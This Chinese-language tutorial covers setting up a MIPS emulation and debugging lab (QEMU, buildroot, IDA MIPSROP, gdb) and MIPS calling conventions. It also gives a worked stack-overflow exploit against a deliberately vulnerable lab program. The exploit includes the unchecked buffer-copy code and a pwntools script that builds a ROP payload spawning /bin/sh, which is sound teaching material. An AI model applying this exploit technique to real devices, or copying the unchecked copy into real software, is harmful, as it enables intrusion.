MIPS漏洞调试环境安装及栈溢出
字数 2146 2025-08-22 12:22:36

MIPS漏洞调试环境安装及栈溢出利用教程

一、环境安装

1. 静态分析环境安装

主要工具:

  • IDA Pro:主反汇编工具
  • MIPSROP插件:用于查找ROP gadget
    • 安装支持IDA 7.0的版本
    • 常用命令:
      mipsrop.help()
      mipsrop.find(instruction_string)
      mipsrop.system()
      mipsrop.doubles()
      mipsrop.stackfinders()  # 查找将栈地址放入寄存器的gadget
      mipsrop.tails()
      mipsrop.set_base()
      mipsrop.summary()
      
  • Retdec:反编译插件
  • JEB MIPS:反汇编和反编译工具(需完整版)

2. MIPS交叉编译环境安装

使用buildroot构建:

wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
sudo apt-get install libncurses-dev patch
make clean
make menuconfig

配置选项:

  • Target Architecture → MIPS (little endian)
  • Toolchain → Kernel Headers → 选择主机Linux版本

编译安装:

sudo apt-get install texinfo bison flex
sudo make

环境变量配置:

gedit ~/.bashrc
export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
source ~/.bashrc

测试编译:

#include <stdio.h>
int vul(char *src) {
    char output[20] = {0};
    strcpy(output, src);
    printf("%s\n", output);
    return 0;
}
int main(int argc, char *argv[]) {
    if (argc < 2){
        printf("need more argument\n");
        return 1;
    }
    vul(argv[1]);
    return 0;
}

编译命令:mips-linux-gcc -o hello hello.c -static

3. 动态调试环境安装

推荐系统: Ubuntu 16.04

安装组件:

  1. binwalk(固件提取工具)

    sudo apt-get update
    sudo apt-get install build-essential autoconf git
    git clone https://github.com/devttys0/binwalk.git
    cd binwalk
    sudo python setup.py install
    sudo apt-get install python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
    sudo pip install pyqtgraph
    sudo pip install capstone
    # 标准提取工具
    sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
    
  2. QEMU(模拟器)

    sudo apt-get install qemu
    apt-get install qemu binfmt-support qemu-user-static
    

    运行命令:

    • 静态编译程序:qemu-mipsel ./hello
    • 动态链接程序:qemu-mipsel -L /Your_Path/buildroot/output/target/ hello
  3. GDB调试环境

    # 安装pwndbg
    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh
    # 安装gdb-multiarch
    sudo apt-get install gdb-multiarch
    

调试流程:

  1. 启动QEMU监听:qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ hello
  2. 启动GDB:gdb-multiarch ./hello
  3. 连接远程:target remote 127.0.0.1:1234

4. QEMU模拟运行MIPS系统

网络配置:

  1. 安装依赖:sudo apt-get install bridge-utils uml-utilities
  2. 配置/etc/network/interfaces
    auto lo
    iface lo inet loopback
    auto ens33
    iface ens33 inet manual
    up ifconfig ens33 0.0.0.0 up
    auto br0
    iface br0 inet dhcp
    bridge_ports ens33
    bridge_stp off
    bridge_maxwait 1
    
  3. 创建/etc/qemu-ifup
    #!/bin/sh
    echo "Executing /etc/qemu-ifup"
    echo "Bringing $1 for bridged mode..."
    sudo /sbin/ifconfig $1 0.0.0.0 promisc up
    echo "Adding $1 to br0..."
    sudo /sbin/brctl addif br0 $1
    sleep 3
    
  4. 设置权限并重启网络:
    sudo chmod a+x /etc/qemu-ifup
    sudo /etc/init.d/networking restart
    sudo ifdown ens33
    sudo ifup br0
    

启动MIPS虚拟机:

  1. 下载镜像:
    • debian_squeeze_mips_standard.qcow2
    • vmlinux-2.6.32-5-4kc-malta
  2. 启动命令:
    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    
  3. 登录:root/root
  4. 网络问题解决:
    • ifconfig -a查看接口名
    • 修改/etc/network/interfaces中的接口名
    • ifup eth1启动接口

二、MIPS汇编基础

1. 寄存器说明

编号 名称 描述
$0 $zero 始终为0
$1 $at 保留寄存器
$2-3 \(v0-\)v1 保存表达式或函数返回结果
$4-7 \(a0-\)a3 函数前四个参数
$8-15 \(t0-\)t7 临时寄存器
$16-23 \(s0-\)s7 需保存的寄存器
$24-25 \(t8-\)t9 补充临时寄存器
$26-27 \(k0-\)k1 中断处理使用
$28 $gp 全局指针
$29 $sp 堆栈指针
$30 $fp 帧指针
$31 $ra 返回地址

2. 特殊寄存器

  • PC:程序计数器
  • HI:乘除结果高位
  • LO:乘除结果低位

3. 函数调用特点

  1. 参数传递:
    • 前4个参数通过\(a0-\)a3传递
    • 多余参数放入调用栈空间
  2. 返回地址:
    • 非叶子函数:存入堆栈
    • 叶子函数:保留在$ra寄存器
  3. 栈帧:
    • 没有EBP寄存器
    • 函数进入时移动SP分配空间

三、栈溢出实例分析

1. 漏洞代码

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code, char *cmd) {
    char buf[255];
    system(cmd);
}

void main() {
    char buf[256] = {0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;
    
    if(0 == stat("passwd", &fileData))
        fileLen = fileData.st_size;
    else return 1;
    
    if((fp = fopen("passwd", "rb")) == NULL) {
        printf("Cannot open file passwd!n");
        exit(1);
    }
    
    ch = fgetc(fp);
    while(count <= fileLen) {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = '\x00';
    
    if(!strcmp(buf, "adminpwd\n")) {
        do_system(count, "ls -l");
    } else {
        printf("you have an invalid password!\n");
    }
    fclose(fp);
}

2. 漏洞利用步骤

  1. 计算偏移量

    • offset = saved_ra - buf_addr = -0x4 - 0x1a0 = 0x19c
  2. 寻找gadget

    mipsrop.stackfinders()
    # 输出:0x004038D0 | addiu $a1, $sp, 0x58+var_40 | jr 0x58+var_4($sp)
    
  3. 构造payload

    • 在$sp+0x18位置放入"/bin/sh"
    • 在$sp+0x54位置放入do_system地址
  4. 生成攻击文件

from pwn import *

do_system_addr = 0x400390
stack_finder_addr = 0x004038D0

f = open("passwd", "wb")
data = 'a' * (0x1a0 - 4)
data += p32(stack_finder_addr)
data += 'a' * 0x18
data += '/bin/sh\x00'
data = data.ljust(0x1a0 + 0x54, 'a')
data += p32(do_system_addr)
f.write(data)
f.close()

3. 编译测试

mipsel-linux-gcc -static stack_vuln.c -o stack_vuln

四、总结

本教程详细介绍了:

  1. MIPS环境搭建(静态分析、交叉编译、动态调试)
  2. QEMU模拟MIPS系统配置
  3. MIPS汇编基础与函数调用约定
  4. 实际栈溢出漏洞分析与利用

关键点:

  • MIPS架构与x86的主要区别(参数传递、返回地址处理)
  • 使用MIPSROP插件寻找合适的gadget
  • 精确计算偏移量和构造ROP链
  • 完整的动态调试方法

通过这套环境和方法,可以有效地分析和利用MIPS架构下的二进制漏洞。

MIPS漏洞调试环境安装及栈溢出利用教程 一、环境安装 1. 静态分析环境安装 主要工具: IDA Pro:主反汇编工具 MIPSROP插件:用于查找ROP gadget 安装支持IDA 7.0的版本 常用命令: Retdec:反编译插件 JEB MIPS:反汇编和反编译工具(需完整版) 2. MIPS交叉编译环境安装 使用buildroot构建: 配置选项: Target Architecture → MIPS (little endian) Toolchain → Kernel Headers → 选择主机Linux版本 编译安装: 环境变量配置: 测试编译: 编译命令: mips-linux-gcc -o hello hello.c -static 3. 动态调试环境安装 推荐系统: Ubuntu 16.04 安装组件: binwalk(固件提取工具) QEMU(模拟器) 运行命令: 静态编译程序: qemu-mipsel ./hello 动态链接程序: qemu-mipsel -L /Your_Path/buildroot/output/target/ hello GDB调试环境 调试流程: 启动QEMU监听: qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ hello 启动GDB: gdb-multiarch ./hello 连接远程: target remote 127.0.0.1:1234 4. QEMU模拟运行MIPS系统 网络配置: 安装依赖: sudo apt-get install bridge-utils uml-utilities 配置 /etc/network/interfaces : 创建 /etc/qemu-ifup : 设置权限并重启网络: 启动MIPS虚拟机: 下载镜像: debian_ squeeze_ mips_ standard.qcow2 vmlinux-2.6.32-5-4kc-malta 启动命令: 登录:root/root 网络问题解决: ifconfig -a 查看接口名 修改 /etc/network/interfaces 中的接口名 ifup eth1 启动接口 二、MIPS汇编基础 1. 寄存器说明 | 编号 | 名称 | 描述 | |------|---------|-------------------------------| | $0 | $zero | 始终为0 | | $1 | $at | 保留寄存器 | | $2-3 | $v0-$v1 | 保存表达式或函数返回结果 | | $4-7 | $a0-$a3 | 函数前四个参数 | | $8-15| $t0-$t7 | 临时寄存器 | | $16-23| $s0-$s7 | 需保存的寄存器 | | $24-25| $t8-$t9 | 补充临时寄存器 | | $26-27| $k0-$k1 | 中断处理使用 | | $28 | $gp | 全局指针 | | $29 | $sp | 堆栈指针 | | $30 | $fp | 帧指针 | | $31 | $ra | 返回地址 | 2. 特殊寄存器 PC:程序计数器 HI:乘除结果高位 LO:乘除结果低位 3. 函数调用特点 参数传递: 前4个参数通过$a0-$a3传递 多余参数放入调用栈空间 返回地址: 非叶子函数:存入堆栈 叶子函数:保留在$ra寄存器 栈帧: 没有EBP寄存器 函数进入时移动SP分配空间 三、栈溢出实例分析 1. 漏洞代码 2. 漏洞利用步骤 计算偏移量 : offset = saved_ra - buf_addr = -0x4 - 0x1a0 = 0x19c 寻找gadget : 构造payload : 在$sp+0x18位置放入"/bin/sh" 在$sp+0x54位置放入do_ system地址 生成攻击文件 : 3. 编译测试 四、总结 本教程详细介绍了: MIPS环境搭建(静态分析、交叉编译、动态调试) QEMU模拟MIPS系统配置 MIPS汇编基础与函数调用约定 实际栈溢出漏洞分析与利用 关键点: MIPS架构与x86的主要区别(参数传递、返回地址处理) 使用MIPSROP插件寻找合适的gadget 精确计算偏移量和构造ROP链 完整的动态调试方法 通过这套环境和方法,可以有效地分析和利用MIPS架构下的二进制漏洞。